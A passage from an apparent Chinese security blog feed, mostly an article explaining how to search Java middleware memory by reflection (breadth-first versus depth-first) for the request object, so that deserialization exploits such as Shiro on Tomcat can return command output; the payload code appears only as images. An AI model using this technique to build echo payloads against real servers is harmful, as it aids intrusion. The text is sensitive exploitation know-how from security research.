style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.5px;">Weblogic coherence.jar的gadget可如法炮制。近期忙完会将完整的代码上传到github项目</span></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.5px;"><a href="http://github.com/woodpecker-framework/ysoserial-woodpecker" target="_blank">http://github.com/woodpecker-framework/ysoserial-woodpecker</a></span></span></section>



<p><a href="http://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d4972b3f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484053%26idx%3D1%26sn%3D3d6b4ab6d090e660196f4de55ef77f73%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 10 Jul 2020 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>半自动化挖掘request实现多种中间件回显</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484034&amp;idx=1&amp;sn=59ffda501aaa35bef7359006f64cb628</link>
      <description>Avicii forever</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2020-04-20 09:00</span> <span style="display: inline-block;"></span>
</p>

<p>Avicii forever</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=707c14a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8Ytjia3xGN71rlRgqgribHv6tPVrfakkmbckuyHl0iculPpOk5cPsv4ofOmg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=377b20c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8Yto7OE0vDLSx55JeEzUe7JCQNhd5spzkQZBluuwoIJqyaJJWaFG1m85w%2F640%3Fwx_fmt%3Djpeg"/></p><section><qqmusic class="js_editor_qqmusic qqmusic_iframe js_uneditable custom_select_card" musicid="231768454" mid="001CrSJb2ubQfA" albumurl="https://y.gtimg.cn/music/photo_new/T002R68x68M000000prHhU3BnrO1.jpg" audiourl="http://isure.stream.qqmusic.qq.com/C200003pyeir0FV236.m4a?guid=2000001731&amp;vkey=8CDFAD8D9B08B5F326BC289906B89B413CCFD16694D411685E747C9D9745696273204FEA44F299711217603482AB2265E8C318F387E388FE&amp;uin=&amp;fromtag=50" music_name="The Nights" singer="Avicii - The Days / Nights - EP" play_length="174" src="/cgi-bin/readtemplate?t=tmpl/qqmusic_tmpl&amp;singer=Avicii%20-%20The%20Days%20%2F%20Nights%20-%20EP&amp;music_name=The%20Nights&amp;albumurl=https%3A%2F%2Fy.gtimg.cn%2Fmusic%2Fphoto_new%2FT002R68x68M000000prHhU3BnrO1.jpg&amp;musictype=1" musictype="1" otherid="001CrSJb2ubQfA" albumid="000prHhU3BnrO1" jumpurlkey="" data-pluginname="insertaudio"></qqmusic></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 18px;"> 0x01 </span></strong></span><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 18px;">前言</span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">本文献给永远的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Avicii</span><span style="font-size: 14px;letter-spacing: 1px;">,严格意义上我不算是一个</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">reaver</span><span style="font-size: 14px;letter-spacing: 1px;">。但并不妨碍我深深的喜欢你的作品，它们陪伴着我度过了无数个编程的夜晚，十分感谢。今天不同人用不同的方式怀念你，我不会作曲，也不敢纹身。能给你分享的是我所热爱的事，在我看来这是最有质感的东西。<span style="font-size: 14px;letter-spacing: 1px;">R.I.P</span></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 18px;"> 0x02 </span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);"><strong><span style="color: rgb(0, 0, 0);background-color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 18px;">背景</span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">最近圈子里各位师傅都在分享shiro回显的方法，真是八仙过海过海各显神通。这里我也分享下自己针对回显的思考和解决方案。师傅们基本都是考虑中间件为Tomcat，框架为Shiro的反序列化漏洞如何回显。<strong>这里我从更大的层面来解决回显问题。也就是在任意中间件下，任意框架下可执行任意代码的漏洞如何回显？</strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-indent: 0em;text-align: center;"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 18px;"> 0x03 </span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-indent: 0em;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;">基本思路</span></strong></span><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">回显的方式有很多种类，通过获取request对象来回显应该是最优雅通用的方法。而之前师傅们获取requst的方式基本都是去阅读和调试中间件的源码，确定requst存储的位置，最终反射获取。其实提炼出来就是两个步骤。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 16px;"><strong>第一步：寻找存储有request对象的全局变量</strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">这一步定位的是requst存储的范围，需要靠知识沉淀或阅读源码来确定request对象被存储到那些全局变量中去了。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">为何要考虑全局变量呢？</span></strong><strong><span style="font-size: 14px;letter-spacing: 1px;">这是因为只有是全局的，我们才能保证漏洞触发时可以拿到这个对象。</span></strong><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">按照经验来讲Web中间件是多线程的应用，一般requst对象都会存储在线程对象中，可以通过</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Thread.currentThread()</span><span style="font-size: 14px;letter-spacing: 1px;">或</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Thread.getThreads()</span><span style="font-size: 14px;letter-spacing: 1px;">获取。当然其他全局变量也有可能，这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码，发现</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">MBeanServer</span><span style="font-size: 14px;letter-spacing: 1px;">中也有request对象。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 1px;">第二步：半自动化反射搜索全局变量</span></strong></span><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型，若包含以下关键字可认为是我们要寻找的request对象。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 14px;letter-spacing: 1px;">Requst</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">ServletRequest</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">RequstGroup</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">RequestInfo</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">RequestGroupInfo</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">...</span></p><p><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p><span style="font-size: 14px;letter-spacing: 1px;"></span></p></li></ul><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.786" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=fe75129f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtIhUkerM0KupTJSywRic5HM2gQIksfcDaqKUOC7uHvrZcEazleiancxLQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x04 </span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">编码实现</span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;"><br/></span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">思路虽然简单，但实现反射搜索的细节其实还是有很多坑的，这里列举一些比较有意思的点和坑来说说。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="font-size: 16px;letter-spacing: 1px;">4.1 限制挖掘深度</span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">对于隐藏过深的requst对象我们最好不考虑，原因有两个。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 14px;letter-spacing: 1px;">第一个是这样反射路径过长，就算是搜索到了，最终构造的payload数据会很大，对于shiro这种反序列化数据在头部的漏洞是致命的。</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">第二个是挖掘时间会很长，因为JVM虚拟机内存中的对象结构其实是非常的复杂的，一个对象的属性往往嵌套着另一个对象，另一个对象的属性继续嵌套其他对象...</span></p></li></ul><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">可以声明两个变量来代表当前深度和最大深度，通过防止当前深度大于最大深度，来限制挖掘深度。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7157622739018088" data-s="300,640" style="" data-type="png" data-w="774" src="https://wechat2rss.xlab.app/img-proxy/?k=b79e902b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtJGdonXVHGmefHgl0JE2qj1ric3EwonnwlDmUa1ygJamdpvVJ93TJuLQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="font-size: 16px;letter-spacing: 1px;">4.2 排除相同引用的对象</span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">一个对象中可能会存在其他对象多个相同的实例(引用相同)，是不能重复去遍历它属性的，否则会进入死循环。可以声明一个</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">visited</span><span style="font-size: 14px;letter-spacing: 1px;">集合来存储已经遍历过的对象，在遍历之前先判断对象是否在该集合中，防止重复遍历！</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5399515738498789" data-s="300,640" style="" data-type="png" data-w="826" src="https://wechat2rss.xlab.app/img-proxy/?k=cc3f80eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtsyNm4ZSL3FXLfpEKfesxqQYwkOE7xsoRDYx4ibaCAPVMGniak6ND4lbg%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="font-size: 16px;letter-spacing: 1px;">4.3 设置黑名单</span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">某些类型不可能存有requst，一般有如下的系统类型,和一些自定义的类型。对于这些类型的对象的遍历只会浪费时间，我们可以设置一个黑名单将其排除掉。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.Byte</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.Short</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.Integer</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.Long</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.Float</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.Boolean</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.String</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.Class</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.lang.Character</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">java.io.File</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 1px;">...</span></p></li></ul><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 1px;">4.4 搜索继承的所有属性</span></strong></span><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">getFields()</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">getDeclaredFields()</span><span style="font-size: 14px;letter-spacing: 1px;">其实都没法获取对象的所有属性，导致搜索会有遗漏。比如一个对象的父类的父类的一个私有属性，我们怎么获取呢？</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4265486725663717" data-s="300,640" style="" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=f20ed35b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtETpmopJSqnT5dnice05vYRXItsfvYrku2vCWcdiavpbHs7vOb3bZB36Q%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 1px;">4.5 深度优先 vs 广度优先</span></strong></span><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">深度优先顾名思义就是会按照深度方向挖掘，它会先遍历至全局变量第一个属性最深层的所有末端，在继续第二属性依次类推。<strong>这样挖掘出来的反射链是比较长的</strong>。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">在我实现完深度优先算法后，发现最致命的还不是反射链过长问题。<strong>深度优先可能会错过比较短的反射链。</strong>这是因为同一个requst对象的引用可能被存储在全局对象的多个属性中，有些藏的比较深，有的藏的比较浅。深度优先往往会先挖掘到比较深的那个，而根据我们相同对象不会第二次搜索原则，当搜索到存储比较浅的引用时，会被忽略了。这就导致我们只挖掘到了藏的比较深的，而错过了比较浅的。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.38828125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=14698141&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8Yt7KEN8PTvHXZpQlDIbwRiaL8FukWR4oqR9Ml9mX8MEFZkvdL7eibvbFgw%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">在学过算法，我们都知道广度优先就能解决路径最短问题，在这个问题上也是如此。针对上图的情况，两种算法挖掘的结果如下。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">深度优先挖掘到两条反射链</span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">1. 全局变量 &gt; Field01 &gt; Field03 &gt; Request@111</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">2. 全局变量 &gt; Field04 &gt; Request@222</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">广度度优先挖掘到两条反射链</span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">1. 全局变量 &gt; Request@111</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">2. 全局变量 &gt; Field04 &gt; Request@222</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">而在实际环境中差别更加明显，以下是Tomcat8下搜索记录的对比。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.52109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=21487a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtKib7FFPB5RvF5lQ4x9mAzLI3rPyQvPvvAOFMJzoqopVhcpFlkPdOkeQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x05 </span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;">实战挖掘</span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">基于以上想法，我设计了一款java内存对象搜索工具</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);text-decoration: underline;">java-object-searcher</span><span style="font-size: 14px;letter-spacing: 1px;">，它可以很方便的帮助我们完成对request对象的搜索，当然不仅仅用于挖掘request。<span style="font-size: 14px;letter-spacing: 1px;">下面以</span></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Tomcat7.0.94</span><span style="font-size: 14px;letter-spacing: 1px;">为例挖掘requst。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">项目地址：</span><span style="font-size: 14px;letter-spacing: 1px;text-decoration: underline;color: rgb(0, 82, 255);"><a href="https://github.com/c0ny1/java-object-searcher" target="_blank">https://github.com/c0ny1/java-object-searcher</a></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="font-size: 16px;letter-spacing: 1px;">5.1 引入java-object-searcher</span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">去java-object-searcher项目的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">releases</span><span style="font-size: 14px;letter-spacing: 1px;">下载编译好的jar，引入到web项目和调试环境中。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="font-size: 16px;letter-spacing: 1px;">5.2 编写调用代码进行搜索</span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">然后我们需要断点打在漏洞触发的位置，因为全局变量会随着中间件和Web项目运行被各个模块修改。而我们需要的是漏洞触发时，全局变量的状态（属性结构和值）。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">接着在IDEA的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Evaluate</span><span style="font-size: 14px;letter-spacing: 1px;">中编写</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">java-object-searcher</span><span style="font-size: 14px;letter-spacing: 1px;">的调用代码，来搜索全局变量。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.51171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=16aa1ca1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtL0KZETyzyU3tr3uStdfet4n9ox3untYtd9Wz9NJkSa7s1oTx8qicVUw%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=966a4a49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtZlWvpPJj5mC8YibBfSuvCbicuI51ic85TkznDZ5OibicE2vovCbvSb4fbTQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 1px;">5.3 根据挖掘结果构造回显payload</span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">根据上述挖掘到的反射链来构造回显，具体代码如下：</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.553125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c599f67b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtbAbEhhR8kb94qGmUicYOicdIBGYMPqP4IHcLj5JSOWiboOOF8esEn6MCg%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">最终生成反序列化数据提交至服务器即可回显</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.26171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8a2e10c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtpLlQWHOEkeFGpDrQsYIc53augFMTsznibDJGNCEiavuqVH4G3cTYjMkQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 